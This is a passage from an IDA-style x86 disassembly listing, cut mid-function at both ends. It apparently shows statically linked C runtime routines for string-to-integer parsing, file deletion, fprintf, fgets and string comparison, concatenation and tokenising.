-1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov [ebp+var_C], 0 mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_418244: ; CODE XREF: sub_418220+77j cmp dword_447480, 1 jle short loc_418266 push 8 mov ecx, [ebp+var_8] and ecx, 0FFh push ecx call sub_41FA40 add esp, 8 mov [ebp+var_18], eax jmp short loc_418280 ; --------------------------------------------------------------------------- loc_418266: ; CODE XREF: sub_418220+2Bj mov edx, [ebp+var_8] and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8 mov [ebp+var_18], ecx loc_418280: ; CODE XREF: sub_418220+44j cmp [ebp+var_18], 0 jz short loc_418299 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_418244 ; --------------------------------------------------------------------------- loc_418299: ; CODE XREF: sub_418220+64j movsx edx, byte ptr [ebp+var_8] cmp edx, 2Dh jnz short loc_4182BD mov eax, [ebp+arg_C] or al, 2 mov [ebp+arg_C], eax mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4182D7 ; --------------------------------------------------------------------------- loc_4182BD: ; CODE XREF: sub_418220+80j movsx ecx, byte ptr [ebp+var_8] cmp ecx, 2Bh jnz short loc_4182D7 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4182D7: ; CODE XREF: sub_418220+9Bj ; sub_418220+A4j cmp [ebp+arg_8], 0 jl short loc_4182E9 cmp [ebp+arg_8], 1 jz short loc_4182E9 cmp [ebp+arg_8], 24h jle short loc_4182FE loc_4182E9: ; CODE XREF: sub_418220+BBj ; sub_418220+C1j cmp [ebp+arg_4], 0 jz short loc_4182F7 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [edx], eax loc_4182F7: ; CODE XREF: sub_418220+CDj xor eax, eax jmp loc_41854D ; --------------------------------------------------------------------------- loc_4182FE: ; CODE XREF: sub_418220+C7j cmp [ebp+arg_8], 0 jnz short loc_41833C movsx ecx, byte ptr [ebp+var_8] cmp ecx, 30h jz short loc_418316 mov [ebp+arg_8], 0Ah jmp short loc_41833C ; --------------------------------------------------------------------------- loc_418316: ; CODE XREF: sub_418220+EBj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 78h jz short loc_41832C mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 58h jnz short loc_418335 loc_41832C: ; CODE XREF: sub_418220+FFj mov [ebp+arg_8], 10h jmp short loc_41833C ; --------------------------------------------------------------------------- loc_418335: ; CODE XREF: sub_418220+10Aj mov [ebp+arg_8], 8 loc_41833C: ; CODE XREF: sub_418220+E2j ; sub_418220+F4j ... cmp [ebp+arg_8], 10h jnz short loc_41837B movsx eax, byte ptr [ebp+var_8] cmp eax, 30h jnz short loc_41837B mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 78h jz short loc_418361 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 58h jnz short loc_41837B loc_418361: ; CODE XREF: sub_418220+134j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41837B: ; CODE XREF: sub_418220+120j ; sub_418220+129j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], eax loc_418386: ; CODE XREF: sub_418220+26Bj cmp dword_447480, 1 jle short loc_4183A7 push 4 mov eax, [ebp+var_8] and eax, 0FFh push eax call sub_41FA40 add esp, 8 mov [ebp+var_1C], eax jmp short loc_4183C2 ; --------------------------------------------------------------------------- loc_4183A7: ; CODE XREF: sub_418220+16Dj mov ecx, [ebp+var_8] and ecx, 0FFh mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_1C], eax loc_4183C2: ; CODE XREF: sub_418220+185j cmp [ebp+var_1C], 0 jz short loc_4183D4 movsx ecx, byte ptr [ebp+var_8] sub ecx, 30h mov [ebp+var_14], ecx jmp short loc_418433 ; --------------------------------------------------------------------------- loc_4183D4: ; CODE XREF: sub_418220+1A6j cmp dword_447480, 1 jle short loc_4183F9 push 103h mov edx, [ebp+var_8] and edx, 0FFh push edx call sub_41FA40 add esp, 8 mov [ebp+var_20], eax jmp short loc_418416 ; --------------------------------------------------------------------------- loc_4183F9: ; CODE XREF: sub_418220+1BBj mov eax, [ebp+var_8] and eax, 0FFh mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 103h mov [ebp+var_20], edx loc_418416: ; CODE XREF: sub_418220+1D7j cmp [ebp+var_20], 0 jz short loc_418431 movsx eax, byte ptr [ebp+var_8] push eax call sub_422500 add esp, 4 sub eax, 37h mov [ebp+var_14], eax jmp short loc_418433 ; --------------------------------------------------------------------------- loc_418431: ; CODE XREF: sub_418220+1FAj jmp short loc_418490 ; --------------------------------------------------------------------------- loc_418433: ; CODE XREF: sub_418220+1B2j ; sub_418220+20Fj mov ecx, [ebp+var_14] cmp ecx, [ebp+arg_8] jb short loc_41843D jmp short loc_418490 ; --------------------------------------------------------------------------- loc_41843D: ; CODE XREF: sub_418220+219j mov edx, [ebp+arg_C] or edx, 8 mov [ebp+arg_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+var_10] jb short loc_418463 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_10] jnz short loc_418472 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp [ebp+var_14], edx ja short loc_418472 loc_418463: ; CODE XREF: sub_418220+22Cj mov edx, [ebp+var_C] imul edx, [ebp+arg_8] add edx, [ebp+var_14] mov [ebp+var_C], edx jmp short loc_41847A ; --------------------------------------------------------------------------- loc_418472: ; CODE XREF: sub_418220+234j ; sub_418220+241j mov eax, [ebp+arg_C] or al, 4 mov [ebp+arg_C], eax loc_41847A: ; CODE XREF: sub_418220+250j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_418386 ; --------------------------------------------------------------------------- loc_418490: ; CODE XREF: sub_418220:loc_418431j ; sub_418220+21Bj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] and edx, 8 test edx, edx jnz short loc_4184B8 cmp [ebp+arg_4], 0 jz short loc_4184AF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4184AF: ; CODE XREF: sub_418220+287j mov [ebp+var_C], 0 jmp short loc_41852A ; --------------------------------------------------------------------------- loc_4184B8: ; CODE XREF: sub_418220+281j mov ecx, [ebp+arg_C] and ecx, 4 test ecx, ecx jnz short loc_4184F2 mov edx, [ebp+arg_C] and edx, 1 test edx, edx jnz short loc_41852A mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_4184DF cmp [ebp+var_C], 80000000h ja short loc_4184F2 loc_4184DF: ; CODE XREF: sub_418220+2B4j mov ecx, [ebp+arg_C] and ecx, 2 test ecx, ecx jnz short loc_41852A cmp [ebp+var_C], 7FFFFFFFh jbe short loc_41852A loc_4184F2: ; CODE XREF: sub_418220+2A0j ; sub_418220+2BDj call sub_4224D0 mov dword ptr [eax], 22h mov edx, [ebp+arg_C] and edx, 1 test edx, edx jz short loc_418510 mov [ebp+var_C], 0FFFFFFFFh jmp short loc_41852A ; --------------------------------------------------------------------------- loc_418510: ; CODE XREF: sub_418220+2E5j mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_418523 mov [ebp+var_C], 80000000h jmp short loc_41852A ; --------------------------------------------------------------------------- loc_418523: ; CODE XREF: sub_418220+2F8j mov [ebp+var_C], 7FFFFFFFh loc_41852A: ; CODE XREF: sub_418220+296j ; sub_418220+2AAj ... cmp [ebp+arg_4], 0 jz short loc_418538 mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx loc_418538: ; CODE XREF: sub_418220+30Ej mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41854A mov ecx, [ebp+var_C] neg ecx mov [ebp+var_C], ecx loc_41854A: ; CODE XREF: sub_418220+320j mov eax, [ebp+var_C] loc_41854D: ; CODE XREF: sub_418220+D9j mov esp, ebp pop ebp retn sub_418220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418560 proc near ; CODE XREF: sub_401C87+4E16p ; sub_401C87+5277p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_418220 add esp, 10h pop ebp retn sub_418560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418580 proc near ; CODE XREF: sub_401C87+458Bp ; .data:004185D7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call dword_4E0344 ; DeleteFileA test eax, eax jnz short loc_41859D call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_4185A4 ; --------------------------------------------------------------------------- loc_41859D: ; CODE XREF: sub_418580+10j mov [ebp+var_4], 0 loc_4185A4: ; CODE XREF: sub_418580+1Bj cmp [ebp+var_4], 0 jz short loc_4185BB mov ecx, [ebp+var_4] push ecx call sub_422430 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4185BD ; --------------------------------------------------------------------------- loc_4185BB: ; CODE XREF: sub_418580+28j xor eax, eax loc_4185BD: ; CODE XREF: sub_418580+39j mov esp, ebp pop ebp retn sub_418580 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_418580 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185F0 proc near ; CODE XREF: sub_401C87+44F9p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+arg_8] mov [ebp+var_10], eax loc_4185FF: ; CODE XREF: sub_4185F0+37j cmp [ebp+arg_0], 0 jnz short loc_418623 push offset dword_4344AC push 0 push 38h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_418623 int 3 ; Trap to Debugger loc_418623: ; CODE XREF: sub_4185F0+13j ; sub_4185F0+30j xor ecx, ecx test ecx, ecx jnz short loc_4185FF loc_418629: ; CODE XREF: sub_4185F0+61j cmp [ebp+arg_4], 0 jnz short loc_41864D push offset aFormatNull ; "format != NULL" push 0 push 39h push offset aFprintf_c ; "fprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41864D int 3 ; Trap to Debugger loc_41864D: ; CODE XREF: sub_4185F0+3Dj ; sub_4185F0+5Aj xor edx, edx test edx, edx jnz short loc_418629 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41AE20 add esp, 4 mov edx, [ebp+var_4] push edx call sub_4226D0 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx call sub_4209A0 add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_422830 add esp, 8 mov edx, [ebp+var_4] push edx call sub_41AE90 add esp, 4 mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4185F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186C0 proc near ; CODE XREF: sub_401C87+344Ap ; sub_401C87+3477p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_4186D5: ; CODE XREF: sub_4186C0+3Dj cmp [ebp+arg_0], 0 jnz short loc_4186F9 push offset aStringNull ; "string != NULL" push 0 push 3Bh push offset aFgets_c ; "fgets.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4186F9 int 3 ; Trap to Debugger loc_4186F9: ; CODE XREF: sub_4186C0+19j ; sub_4186C0+36j xor edx, edx test edx, edx jnz short loc_4186D5 loc_4186FF: ; CODE XREF: sub_4186C0+67j cmp [ebp+arg_8], 0 jnz short loc_418723 push offset dword_4344AC push 0 push 3Ch push offset aFgets_c ; "fgets.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_418723 int 3 ; Trap to Debugger loc_418723: ; CODE XREF: sub_4186C0+43j ; sub_4186C0+60j xor eax, eax test eax, eax jnz short loc_4186FF cmp [ebp+arg_4], 0 jg short loc_418736 xor eax, eax jmp loc_4187F7 ; --------------------------------------------------------------------------- loc_418736: ; CODE XREF: sub_4186C0+6Dj mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_41AE20 add esp, 4 loc_418748: ; CODE XREF: sub_4186C0:loc_4187DDj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_4187E2 mov ecx, [ebp+var_4] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_4] mov [eax+4], edx mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jl short loc_418793 mov edx, [ebp+var_4] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax jmp short loc_4187A2 ; --------------------------------------------------------------------------- loc_418793: ; CODE XREF: sub_4186C0+B1j mov edx, [ebp+var_4] push edx call sub_41FB00 add esp, 4 mov [ebp+var_14], eax loc_4187A2: ; CODE XREF: sub_4186C0+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4187C1 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_4187BF mov [ebp+var_10], 0 jmp short loc_4187E8 ; --------------------------------------------------------------------------- loc_4187BF: ; CODE XREF: sub_4186C0+F4j jmp short loc_4187E2 ; --------------------------------------------------------------------------- loc_4187C1: ; CODE XREF: sub_4186C0+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_4187DD jmp short loc_4187E2 ; --------------------------------------------------------------------------- loc_4187DD: ; CODE XREF: sub_4186C0+119j jmp loc_418748 ; --------------------------------------------------------------------------- loc_4187E2: ; CODE XREF: sub_4186C0+95j ; sub_4186C0:loc_4187BFj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_4187E8: ; CODE XREF: sub_4186C0+FDj mov ecx, [ebp+var_4] push ecx call sub_41AE90 add esp, 4 mov eax, [ebp+var_10] loc_4187F7: ; CODE XREF: sub_4186C0+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4186C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418800 proc near ; CODE XREF: sub_401C87+1A63p ; sub_401C87+1A82p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418821 xor eax, eax jmp short loc_418823 ; --------------------------------------------------------------------------- loc_418821: ; CODE XREF: sub_418800+1Bj mov eax, edi loc_418823: ; CODE XREF: sub_418800+1Fj cld pop edi leave retn sub_418800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418830 proc near ; CODE XREF: sub_401C87+831p ; .data:004134ACp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418861 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41885F jz short loc_418861 dec ecx dec ecx loc_41885F: ; CODE XREF: sub_418830+29j not ecx loc_418861: ; CODE XREF: sub_418830+9j ; sub_418830+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418870 proc near ; CODE XREF: sub_401C87+418p ; sub_401C87+3C1Bp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_4188E1 sub_418870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418880 proc near ; CODE XREF: sub_401C87+421p ; sub_401C87+34D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41889C loc_41888D: ; CODE XREF: sub_418880+1Aj mov al, [ecx] inc ecx test al, al jz short loc_4188CF test ecx, 3 jnz short loc_41888D loc_41889C: ; CODE XREF: sub_418880+Bj ; sub_418880+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41889C mov eax, [ecx-4] test al, al jz short loc_4188DE test ah, ah jz short loc_4188D9 test eax, 0FF0000h jz short loc_4188D4 test eax, 0FF000000h jz short loc_4188CF jmp short loc_41889C ; --------------------------------------------------------------------------- loc_4188CF: ; CODE XREF: sub_418880+12j ; sub_418880+4Bj lea edi, [ecx-1] jmp short loc_4188E1 ; --------------------------------------------------------------------------- loc_4188D4: ; CODE XREF: sub_418880+44j lea edi, [ecx-2] jmp short loc_4188E1 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418880+3Dj lea edi, [ecx-3] jmp short loc_4188E1 ; --------------------------------------------------------------------------- loc_4188DE: ; CODE XREF: sub_418880+39j lea edi, [ecx-4] loc_4188E1: ; CODE XREF: sub_418870+5j ; sub_418880+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_418906 loc_4188ED: ; CODE XREF: sub_418880+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_418958 mov [edi], dl inc edi test ecx, 3 jnz short loc_4188ED jmp short loc_418906 ; --------------------------------------------------------------------------- loc_418901: ; CODE XREF: sub_418880+9Ej ; sub_418880+B8j mov [edi], edx add edi, 4 loc_418906: ; CODE XREF: sub_418880+6Bj ; sub_418880+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_418901 test dl, dl jz short loc_418958 test dh, dh jz short loc_41894F test edx, 0FF0000h jz short loc_418942 test edx, 0FF000000h jz short loc_41893A jmp short loc_418901 ; --------------------------------------------------------------------------- loc_41893A: ; CODE XREF: sub_418880+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418942: ; CODE XREF: sub_418880+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41894F: ; CODE XREF: sub_418880+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418958: ; CODE XREF: sub_418880+72j ; sub_418880+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_418880 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418970 loc_418960: ; CODE XREF: sub_418970+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418970 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418970 proc near ; CODE XREF: sub_401C87+3FDp ; sub_401C87+49Ep ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418960 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418976: ; CODE XREF: sub_417E00+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41899B loc_418988: ; CODE XREF: sub_418970+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418960 test cl, cl jz short loc_4189E4 test edx, 3 jnz short loc_418988 loc_41899B: ; CODE XREF: sub_418970+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4189A6: ; CODE XREF: sub_418970+61j ; sub_418970+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4189E8 and eax, 81010100h jz short loc_4189A6 and eax, 1010100h jnz short loc_4189E2 and esi, 80000000h jnz short loc_4189A6 loc_4189E2: ; CODE XREF: sub_418970+68j ; sub_418970+81j ... pop esi pop edi loc_4189E4: ; CODE XREF: sub_418970+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4189E8: ; CODE XREF: sub_418970+5Aj mov eax, [edx-4] cmp al, bl jz short loc_418A25 test al, al jz short loc_4189E2 cmp ah, bl jz short loc_418A1E test ah, ah jz short loc_4189E2 shr eax, 10h cmp al, bl jz short loc_418A17 test al, al jz short loc_4189E2 cmp ah, bl jz short loc_418A10 test ah, ah jz short loc_4189E2 jmp short loc_4189A6 ; --------------------------------------------------------------------------- loc_418A10: ; CODE XREF: sub_418970+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418A17: ; CODE XREF: sub_418970+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418A1E: ; CODE XREF: sub_418970+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418A25: ; CODE XREF: sub_418970+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418A30 proc near ; CODE XREF: sub_401C87+1A2p ; sub_401C87+1F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_418A7C loc_418A40: ; CODE XREF: sub_418A30+3Cj ; sub_418A30+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_418A74 or al, al jz short loc_418A70 cmp ah, [ecx+1] jnz short loc_418A74 or ah, ah jz short loc_418A70 shr eax, 10h cmp al, [ecx+2] jnz short loc_418A74 or al, al jz short loc_418A70 cmp ah, [ecx+3] jnz short loc_418A74 add ecx, 4 add edx, 4 or ah, ah jnz short loc_418A40 mov edi, edi loc_418A70: ; CODE XREF: sub_418A30+18j ; sub_418A30+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_418A74: ; CODE XREF: sub_418A30+14j ; sub_418A30+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_418A7C: ; CODE XREF: sub_418A30+Ej test edx, 1 jz short loc_418A98 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_418A74 inc ecx or al, al jz short loc_418A70 test edx, 2 jz short loc_418A40 loc_418A98: ; CODE XREF: sub_418A30+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_418A74 or al, al jz short loc_418A70 cmp ah, [ecx+1] jnz short loc_418A74 or ah, ah jz short loc_418A70 add ecx, 2 jmp short loc_418A40 sub_418A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AC0 proc near ; CODE XREF: sub_401C87+B4p ; sub_401C87+CDp ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] mov [ebp+var_30], eax call sub_421920 mov [ebp+var_8], eax mov [ebp+var_C], 0 jmp short loc_418AE6 ; --------------------------------------------------------------------------- loc_418ADD: ; CODE XREF: sub_418AC0+34j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_418AE6: ; CODE XREF: sub_418AC0+1Bj cmp [ebp+var_C], 20h jge short loc_418AF6 mov edx, [ebp+var_C] mov [ebp+edx+var_2C], 0 jmp short loc_418ADD ; --------------------------------------------------------------------------- loc_418AF6: ; CODE XREF: sub_418AC0+2Aj ; sub_418AC0+79j mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] mov edx, ecx sar edx, 3 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_2C] or cl, al mov edx, [ebp+var_30] xor eax, eax mov al, [edx] sar eax, 3 mov [ebp+eax+var_2C], cl mov ecx, [ebp+var_30] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_30] add eax, 1 mov [ebp+var_30], eax test edx, edx jnz short loc_418AF6 cmp [ebp+arg_0], 0 jz short loc_418B49 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B49: ; CODE XREF: sub_418AC0+7Fj mov edx, [ebp+var_8] mov eax, [edx+18h] mov [ebp+var_4], eax loc_418B52: ; CODE XREF: sub_418AC0+87j ; sub_418AC0+CFj mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_418B91 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_418B91 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B91: ; CODE XREF: sub_418AC0+B9j ; sub_418AC0+C4j mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp short loc_418BA2 ; --------------------------------------------------------------------------- loc_418B99: ; CODE XREF: sub_418AC0:loc_418BE7j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_418BA2: ; CODE XREF: sub_418AC0+D7j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_418BE9 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_418BE7 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_418BE9 ; --------------------------------------------------------------------------- loc_418BE7: ; CODE XREF: sub_418AC0+114j jmp short loc_418B99 ; --------------------------------------------------------------------------- loc_418BE9: ; CODE XREF: sub_418AC0+EBj ; sub_418AC0+125j mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov [edx+18h], eax mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_4] jnz short loc_418BFE xor eax, eax jmp short loc_418C01 ; --------------------------------------------------------------------------- loc_418BFE: ; CODE XREF: sub_418AC0+138j mov eax, [ebp+arg_0] loc_418C01: ; CODE XREF: sub_418AC0+13Cj mov esp, ebp pop ebp retn sub_418AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C10 proc near ; CODE XREF: sub_407604+1Cp ; sub_40F99B+19p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, 